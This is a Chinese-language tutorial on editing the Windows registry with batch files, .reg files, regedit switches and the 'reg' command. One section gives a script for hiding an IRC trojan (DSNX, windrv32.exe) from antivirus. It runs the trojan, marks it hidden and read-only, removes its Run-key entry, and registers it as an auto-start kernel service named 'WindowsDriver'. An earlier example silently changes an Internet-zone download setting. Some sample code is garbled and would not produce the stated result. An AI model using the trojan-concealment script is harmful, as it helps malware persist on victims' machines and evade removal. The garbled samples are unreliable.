A. 用批處理修改注冊表
選擇【開始】→【運行】命令,在【運行】對話框的【打開】文本框中輸入「regedit.exe」,單擊【確定】按鈕,運行注冊表編輯器,依次打開以下鍵:
HKEY_CURRENT_USER\Software\Policies\Microsoft\System
在右邊的窗口中新建一個DWORD值,其名稱為DisableCMD,設數值數據為2,則表示命令提示符程序和批處理文件都不能被運行,其值為1,則只是禁止命令提示符的運行。
示例:
echo REGEDIT4>iedown.reg
echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]>>iedown.reg
echo "1803"=dword:00000000>>iedown.reg
以上生成REG文件.
regedit /s iedown.reg
del iedown.reg
運行REG後刪除之.
還可以:寫一個注冊表文件,放在一個位置..
然後批處理導入:
@echo off
regedit /s 注冊表文件路徑
exit
說明:/s是不彈出確認提示直接導入
先學習一下如何使用.REG文件來操
作注冊表.(我們可以用批處理來生成一個REG文件)
關於注冊表的操作,常見的是創建、修改、刪除。
1.創建
創建分為兩種,一種是創建子項(Subkey)
我們創建一個文件,內容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]
然後執行該腳本,你就已經在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下創建了一個名字為"hacker"的子項。
另一種是創建一個項目名稱
那這種文件格式就是典型的文件格式,和你從注冊表中導出的文件格式一致,內容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"Door"=C:\\WINNT\\system32\\door.exe
"Autodos"=dword:02
這樣就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下 新建了:Invader、door、about這三個項目
Invader的類型是"String value"
door的類型是"REG SZ value"
Autodos的類型是"DWORD value"
2.修改
修改相對來說比較簡單,只要把你需要修改的項目導出,然後用記事本進行修改,然後導入(regedit /s)即可。
3.刪除
我們首先來說說刪除一個項目名稱,我們創建一個如下的文件:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Ex4rch"=-
執行該腳本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被刪除了;
我們再看看刪除一個子項,我們創建一個如下的腳本:
Windows Registry Editor Version 5.00
[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
執行該腳本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已經被刪除了。
相信看到這里,.reg文件你基本已經掌握了。那麼現在的目標就是用批處理來創建特定內容的.reg文件了,記得我們前面說道的利用重定向符號可以很容易地創建特定類型的文件。
samlpe1:如上面的那個例子,如想生成如下注冊表文件
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
只需要這樣:
@echo Windows Registry Editor Version 5.00>>Sample.reg
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg
samlpe2:
我們現在在使用一些比較老的木馬時,可能會在注冊表的
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、
Runexec)]下生成一個鍵值用來實現木馬的自啟動.但是這樣很容易暴露木馬程序的路徑,從而導致木馬被查
殺,相對地若是將木馬程序注冊為系統服務則相對安全一些.下面以配置好地IRC木馬DSNX為例(名為
windrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath=
c:\winnt\system32\windrv32.exe
@regedit /s patch.dll
@delete patch.dll
@REM [刪除DSNXDE在注冊表中的啟動項,用sc.exe將之注冊為系統關鍵性服務的同時將其屬性設為隱藏和
只讀,並config為自啟動]
@REM 這樣不是更安全.
怎麼用批處理命令刪注冊表裡的鍵值或用命令的方法刪注冊表值?
REG DELETE KeyName [/v ValueName | /ve | /va] [/f]
KeyName [\\Machine\]FullKey
Machine 遠程機器名 - 忽略當前機器的默認值。
遠程機器上只有 HKLM 和 HKU。
FullKey ROOTKEY\SubKey
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 所選 ROOTKEY 下的注冊表項的全名。
ValueName 所選項下的要刪除的值的名稱。
省略時,該項下的所有子項和值都會被刪除。
/ve 刪除空白值名稱的值(默認)。
/va 刪除該項下的所有值。
/f 不用提示就強行刪除。
例如:
REG DELETE HKLM\Software\MyCo\MyApp\Timeout
刪除注冊表項 Timeout 及其所有子項和值
REG DELETE \\ZODIAC\HKLM\Software\MyCo /v MTU
刪除 ZODIAC 上 MyCo 下的注冊表項 MTU
regedit.exe的參數
filename 導入 .reg 文件進注冊表
/s 導入 .reg 文件進注冊表(安靜模式)
/e 導出注冊表文件
例:regedit /e filename.reg HKEY_LOCAL_MACHINE\SYSTEM
/L:system 指定 system.dat
/R:user 指定 user.dat
隱藏導入注冊表信息用regedit /s 即可
在DOS提示符下鍵入Regedit命令,將出現一個幫助屏幕。此屏幕給出了其命令行參數及其使用方法。
語法:Regedit[/L:system][/R:user]filename1
Regedit[/L:system][/R:user]/Cfilename2
Regedit[/L:system][/R:user]/Efilename3[regpath]
其中:
/L:system指定system.dat文件的存放位置。
/L:user指定user.dat文件的存放位置。
filename1指定引入注冊表資料庫的文件名。
/Cfilename2指定形成注冊表資料庫的文件名。
/Efilename3指定導出注冊表文件的文件名。
regpath指定導出注冊表文件的開始關鍵字(預設為全部關鍵字)
現舉幾個例子說明regedit.exe在DOS下的使用方法。
【例1】將系統注冊表資料庫registry導出到reg1.reg文件中。
regedit/Ereg1.reg
【例2】reg1.reg形成系統注冊表資料庫registry(全部)中。
regedit/Creg1.reg
【例3】將reg.dat引入系統注冊表資料庫中(部分)。
regeditreg.dat
【例4】將CJH開始的關鍵字導出注冊表資料庫,並命名為cjh.reg。
regedit/Ecjh.regcjh
【例5】指定system/dat存放在D:\PWIN中和user.dat存放在E:\PWIN中,將reg.dat數據文件形成一個新的注冊表資料庫registry。
regedit/L:D:\PWIN/R:E:\PWIN/Creg.dat
有了以上這些知識,結合在《對注冊表進行編程的「捷徑」》里講過的關於導入或導出的注冊表文件(*.REG),我們就可以在DOS方式下對注冊表進行編程了。
我們還是以更改「*.txt」文件的默認打開方式——「記事本」為「寫字板」為例。首先在MS-DOS提示符下導出「HKEY_CLASSES_ROOT\txtfile」子鍵這一分支,即執行命令:
regedit/Etxt.regHKEY_CLASSES_ROOT\txtfile
然後用DOS下的EDIT編輯器打開txt.reg文件進行編輯:將其中所有的「C:\\WINDOWS\\NOTEPAD.EXE」全部改成「C:\\WINDOWS\\WRITE.EXE」,存檔退出EDIT,再在命令行下執行命令:
regedittxt.reg
XP上新加的注冊表操作命令
ADD
REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]
KeyName [\\Machine\]FullKey
遠程機器的機器名 - 忽略默認到當前機器。
遠程機器上只有 HKLM 和 HKU。
FullKey ROOTKEY\SubKey
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 所選 ROOTKEY 下注冊表項的完整名
/v 所選項之下要添加的值名
/ve 為注冊表項添加空白值名<無名稱>
/t RegKey 數據類型
[ REG_SZ | REG_MULTI_SZ | REG_DWORD_BIG_ENDIAN |
REG_DWORD | REG_BINARY | REG_DWORD_LITTLE_ENDIAN |
REG_NONE | REG_EXPAND_SZ ]
如果忽略,則採用 REG_SZ
/s 指定一個在 REG_MULTI_SZ 數據字元串中
用作分隔符的字元
如果忽略,則將 "\0" 用作分隔符
/d 要分配給添加的注冊表 ValueName 的數據
/f 不用提示就強行改寫現有注冊表項
例如:
REG ADD \\ABC\HKLM\Software\MyCo
添加遠程機器 ABC 上的一個注冊表項 HKLM\Software\MyCo
REG ADD HKLM\Software\MyCo /v Data /t REG_BINARY /d fe340ead
添加一個值(名稱: Data,類型: REG_BINARY,數據: fe340ead)
REG ADD HKLM\Software\MyCo /v MRU /t REG_MULTI_SZ /d fax\0mail
添加一個值(名稱: MRU,類型: REG_MUTLI_SZ,數據: fax\0
COMPARE
REG COMPARE KeyName1 KeyName2 [/v ValueName | /ve] [Output] [/s]
KeyName [\\Machine\]FullKey
Machine 遠程機器名 - 省略當前機器的默認值
遠程機器上只有 HKLM 和 HKU
FullKey ROOTKEY\SubKey
如果沒有指定 FullKey2,FullKey2 則跟 FullKey1 相同
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 所選 ROOTKEY 下的注冊表項的全名
ValueName 所選注冊表項下的要比較的值的名稱
省略時,該項下的所有值都會得到比較
/ve 比較空白值<no name>名稱的值
/s 比較所有子項和值
Output [/oa | /od | /os | /on]
省略時,只顯示不同的結果
/oa 顯示所有不同和匹配結果
/od 只顯示不同的結果
/os 只顯示匹配結果
/on 不顯示結果
返回代碼:
0 - 成功,比較的結果相同
1 - 失敗
2 - 成功,比較的結果不同
例如:
REG COMPARE HKLM\Software\MyCo\MyApp HKLM\Software\MyCo\SaveMyApp
將注冊表項 MyApp 下的所有值跟 SaveMyApp 比較
REG COMPARE HKLM\Software\MyCo HKLM
COPY
REG COPY KeyName1 KeyName2 [/s] [/f]
KeyName [\\Machine\]FullKey
Machine 遠程機器名 - 忽略當前機器的默認值
遠程機器上只有 HKLM 和 HKU
FullKey ROOTKEY\SubKey
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 所選 ROOTKEY 下的注冊表項的全名
/s 復制所有子項和值
/f 不用提示就強行復制
例如:
REG COPY HKLM\Software\MyCo\MyApp HKLM\Software\MyCo\SaveMyApp /s
將注冊表項 MyApp 下的所有子項和值復制到注冊表項 SaveMyApp
REG COPY \\ZODIAC\HKLM\Software\MyCo HKLM
DELETE
REG DELETE KeyName [/v ValueName | /ve | /va] [/f]
KeyName [\\Machine\]FullKey
Machine 遠程機器名 - 忽略當前機器的默認值
遠程機器上只有 HKLM 和 HKU
FullKey ROOTKEY\SubKey
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 所選 ROOTKEY 下的注冊表項的全名
ValueName 所選項下的要刪除的值的名稱
省略時,該項下的所有子項和值都會被刪除
/ve 刪除空白值名稱<no name>的值
/va 刪除該項下的所有值
/f 不用提示就強行刪除
例如:
REG DELETE HKLM\Software\MyCo\MyApp\Timeout
刪除注冊表項 T
LOAD
REG LOAD KeyName FileName
KeyName ROOTKEY\SubKey (只是本地機器的)
ROOTKEY [ HKLM | HKU ]
SubKey 要將配置單元文件載入進的注冊表項名稱。創建一個新的注冊表項
FileName 要載入的配置單元文件名
您必須使用 REG SAVE 來創建這個文件
QUERY
REG QUERY KeyName [/v ValueName | /ve] [/s]
KeyName [\Machine\]FullKey
Machine 遠程機器名 - 忽略當前機器的默認值
遠程機器上只有 HKLM 和 HKU
FullKey 格式為 ROOTKEY\SubKey
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 所選 ROOTKEY 下的注冊表項的全名
/v 查詢特定注冊表項
ValueName 所選項下的要查詢的值的名稱
省略時,該項下的所有值都會得到查詢
/ve 查詢默認值或空白值名稱<no name>
/s 查詢所有子項和值
RESTORE
REG RESTORE KeyName FileName
KeyName ROOTKEY\SubKey (只是本地機器)
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 要將配置單元文件還原到的注冊表項全名。
改寫現有項的值和子項
FileName 要還原的配置單元文件名
您必須使用 REG SAVE 來創建這個文件
SAVE
REG SAVE KeyName FileName
KeyName ROOTKEY\SubKey
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 所選 ROOTKEY 下的注冊表項的全名
FileName 要保存的磁碟文件名。如果沒有指定路徑,
文件會在調用進程的當前文件夾中得到創建
UNLOAD
REG UNLOAD KeyName
KeyName ROOTKEY\SubKey (只是本地機器的)
ROOTKEY [ HKLM | HKU ]
SubKey 要卸載的配置單元的注冊表項名稱
reg add "項" /v(value的縮寫) 值 /t(type) reg_dword(默認是eg_sz) /d(data的縮寫) "要插入的數據值" /f(forbiden的縮寫,即強制的意思)
例如
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session" /v test /t reg_dword /d 1 /f
這句命令就是往你的注冊表
HKLM\SYSTEM\CurrentControlSet\Control\Session
這個項下面新建一個 reg_dowrd 類型的值,名字為test,數據為 1
/f 表示在運行如果注冊表裡已經有這個值也不會提示你,直接修改,
如果沒有這個參數的話,它會提示你是不是要修改